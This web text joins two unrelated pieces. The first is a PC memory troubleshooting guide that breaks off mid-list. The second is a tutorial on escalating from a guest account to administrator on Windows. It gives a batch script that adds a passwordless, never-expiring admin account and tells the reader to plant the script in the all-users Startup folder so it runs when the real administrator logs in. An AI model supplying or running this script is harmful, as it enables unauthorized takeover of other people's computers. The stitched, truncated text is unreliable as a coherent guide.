It is fairly common for computer users to come across problems associated with memory. These problems can be resolved if computer users are aware of troubleshooting methods and are able to correctly diagnose them on their own.
One of the first steps in troubleshooting memory-related problems is to ensure that the origin of the problem is really the memory. To do this, you may start by asking the following questions:
1. Have you recently purchased your PC? If the problem is encountered on a new PC, it may be a good idea to contact the vendor for fixing the problem because the system might still be under warranty.
2. Have you upgraded memory by adding new memory chips? Quite often, memory errors occur if we add incompatible or faulty chips. If this is the case, you may resolve the error by replacing the problematic chips. Also, you must ensure that your memory chips are properly seated in their slots.
3. Have you recently installed a new software? If your answer is yes, then it is quite likely that this new software is behind all the errors. In this case, ensure that all the latest updates and patches are installed. At times, problems may occur if the program was not installed properly. If this is the case, then re-installing the software may resolve the error. Also, if you are trying to run a memory-intensive software on an older system, you may face problems. In this case, you may either have to uninstall your software or upgrade your PC.
4. Have you recently installed a new hardware? If a new hardware has been recently installed or removed from the machine, one must check whether there are any loose connections or if the new hardware is working properly.
If the above potential causes have been eliminated, then one must start to investigate the possibility of memory problems. The common symptoms of memory problems and their troubleshooting tips are listed below:
Symptom: Blank ScreenTroubleshooting
Tips:
1. Confirm that the VGA card and memory chips are installed properly.
2. Make sure that the motherboard and memory chips are compatible with each other.
Symptom: PC hangs or reboots again

Using Guest Account Create An Admin Account
Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin
Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
